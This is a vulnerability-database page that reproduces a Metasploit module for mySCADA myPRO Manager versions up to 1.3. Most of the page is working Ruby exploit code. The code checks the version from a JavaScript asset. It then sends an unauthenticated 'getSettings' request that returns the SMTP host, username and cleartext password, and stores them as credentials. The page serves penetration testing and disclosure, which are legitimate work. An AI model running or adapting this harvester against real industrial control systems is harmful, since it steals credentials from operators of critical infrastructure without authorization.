Lucene search
+L

mySCADA myPRO Manager Credential Harvester (CVE-2025-24865 and CVE-2025-22896)

🗓️ 13 Feb 2025 00:00:00Reported by Michael HeinzlType 
metasploit
 metasploit
🔗 www.rapid7.com👁 541 Views

Credential Harvester in MyPRO Manager exposes cleartext credentials due to broken authentication issues.

Related
Code
class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  CheckCode = Exploit::CheckCode

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'mySCADA myPRO Manager Credential Harvester (CVE-2025-24865 and CVE-2025-22896)',
        'Description' => %q{
          Credential Harvester in MyPRO Manager <= v1.3 from mySCADA.
          The product suffers from a broken authentication vulnerability (CVE-2025-24865) for certain functions. One of them is the configuration page for notifications, which returns the cleartext credentials (CVE-2025-22896) before correctly veryfing that the associated request is coming from an authenticated and authorized entity.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
        'References' => [
          [ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-16'],
          [ 'CVE', '2025-24865'],
          [ 'CVE', '2025-22896']
        ],
        'DisclosureDate' => '2025-02-13',
        'DefaultOptions' => {
          'RPORT' => 34022,
          'SSL' => false
        },
        'Platform' => 'win',
        'Arch' => [ ARCH_CMD ],
        'Targets' => [
          [
            'Windows_Fetch',
            {
              'Arch' => [ ARCH_CMD ],
              'Platform' => 'win',
              'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
              'Type' => :win_fetch
            }
          ]
        ],
        'DefaultTarget' => 0,

        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new(
          'TARGETURI',
          [ true, 'The URI for the MyPRO Manager web interface', '/' ]
        )
      ]
    )
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'assets/index-DBkpc6FO.js')
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown('Failed to connect to the target')
    end

    if res.to_s =~ /const S="([^"]+)"/
      version = ::Regexp.last_match(1)
      vprint_status('Version retrieved: ' + version)
      if Rex::Version.new(version) <= Rex::Version.new('1.3')
        return Exploit::CheckCode::Appears("myPRO Manager version #{version} is vulnerable")
      end

      return Exploit::CheckCode::Safe("myPRO Manager version #{version} is not vulnerable")
    end
    return Exploit::CheckCode::Unknown('Could not determine myPRO Manager version')
  end

  def run
    post_data = {
      'command' => 'getSettings'
    }

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/json',
      'data' => JSON.generate(post_data),
      'uri' => normalize_uri(target_uri.path, 'get')
    })

    fail_with(Failure::Unknown, 'No response from server.') if res.nil?
    fail_with(Failure::UnexpectedReply, 'Non-200 returned from server.') if res.code != 200
    print_good('Mail server credentials retrieved:')
    data = res.get_json_document

    if data.key?('smtp') && data['smtp'].is_a?(Hash)
      smtp_info = data['smtp']

      host = smtp_info.fetch('host', 'Unknown Host')
      port = smtp_info.fetch('port', 'Unknown Port')
      auth = smtp_info.fetch('auth', 'Unknown Auth')
      user = smtp_info.fetch('user', 'Unknown User')
      passw = smtp_info.fetch('pass', 'Unknown Password')

      print_good("Host: #{host}")
      print_good("Port: #{port}")
      print_good("Auth Type: #{auth}")
      print_good("User: #{user}")
      print_good("Password: #{passw}")

      unless user == 'Unknown User' || passw == 'Unknown Password'
        store_valid_credential(user: user, private: passw, proof: data.to_s)
      end
    end
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Feb 2025 00:00Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8 - 10
CVSS 410
EPSS0.07106
SSVC
541